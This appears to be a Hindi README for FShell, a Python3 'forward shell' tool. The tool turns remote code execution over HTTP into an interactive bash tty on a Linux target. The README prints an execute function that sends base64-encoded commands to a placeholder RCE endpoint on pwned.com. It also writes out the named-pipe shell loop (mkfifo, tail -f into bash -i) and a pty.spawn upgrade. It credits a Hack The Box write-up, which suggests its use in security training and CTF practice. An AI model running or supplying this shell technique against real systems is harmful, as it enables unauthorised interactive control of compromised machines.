
Forward Shell का मेरा python3 कार्यान्वयन
FShell, फॉरवर्ड शेल का मेरा कार्यान्वयन (implementation) है। इसे एक स्टेजलेस प्रोटोकॉल (जैसे HTTP) के माध्यम से रिमोट कोड एक्ज़ीक्यूशन का उपयोग करके एक इंटरैक्टिव tty प्राप्त करने के लिए डिज़ाइन किया गया है।
हालांकि, इसके नुकसान भी हैं:
अनुरोधों की आवृत्ति को BEACONING_DELAY वेरिएबल को संशोधित करके बदला जा सकता है।
Python3 और लाइब्रेरी:
इस समय केवल Linux समर्थित है और रिमोट सिस्टम पर निम्नलिखित बुनियादी कमांड/टूल आवश्यक हैं:
यदि /tmp लिखने के लिए उपलब्ध नहीं है या आपके पास कुछ बेहतर है (तो /dev/shm पसंद करें), तो WRITABLE_FOLDER वेरिएबल को संशोधित करें।
आपको अपना रिमोट कोड एक्ज़ीक्यूशन करने के लिए execute फ़ंक्शन को अवश्य पुनर्परिभाषित करना होगा:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

अवधारणाएँ काफी सरल हैं।
सबसे पहले आपको रिमोट सिस्टम पर एक named pipe बनाना होगा।
इसका उपयोग शेल को कमांड भेजने के लिए किया जाएगा
mkfifo /tmp/input।
फिर, एक bash लूप बनाएं जो named pipe को लगातार पढ़े और उसे एक इंटरैक्टिव bash प्रोसेस में भेजे, जो stdin और stderr को एक आउटपुट फ़ाइल में भेजता है।
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[named pipe पढ़ना] -> [named pipe की सामग्री निष्पादित करना] -> [stdin/stderr को आउटपुट फ़ाइल में भेजना] -> ['-f' tail विकल्प के कारण named pipe पढ़ने पर वापस जाना]
अगला भाग एक python थ्रेड शुरू करना है जो शेल आउटपुट प्राप्त करने के लिए नियमित रूप से cat /tmp/output चलाता है।
यदि थ्रेड को डेटा मिलता है, तो वह आउटपुट फ़ाइल की सामग्री को echo '' > /tmp/output का उपयोग करके साफ़ कर देगा।
सुझाव: गैर-मौजूद फ़ाइल के लिए त्रुटि लॉगिंग से बचने के लिए, स्क्रिप्ट आउटपुट फ़ाइल बनाने हेतु 'GetOutput' थ्रेड शुरू करने से पहले 'id' कमांड निष्पादित करती है।
अंतिम चरणों में से एक है हमारी python स्क्रिप्ट से उपयोगकर्ता इनपुट लेना और उसे named pipe में भेजनाecho USERCMD > /tmp/input
और रिमोट इंटरैक्टिव tty वापस पाने की अंतिम तरकीब 'upgrade_shell' कमांड है।
यह कमांड वर्तमान प्रोसेस के लिए एक वास्तविक tty स्पॉन करने हेतु python -c 'import pty;pty.spawn("/bin/bash")' (और कुछ export और aliases) निष्पादित करता है (जिसका उपयोग named pipe लूप में किया जाता है)
@ippsec को धन्यवाद, इस वीडियो Stratosphere HTB Write Up को देखने से पहले मुझे नहीं पता था कि ऐसा कुछ संभव है!
आशा है आपको यह पसंद आएगा!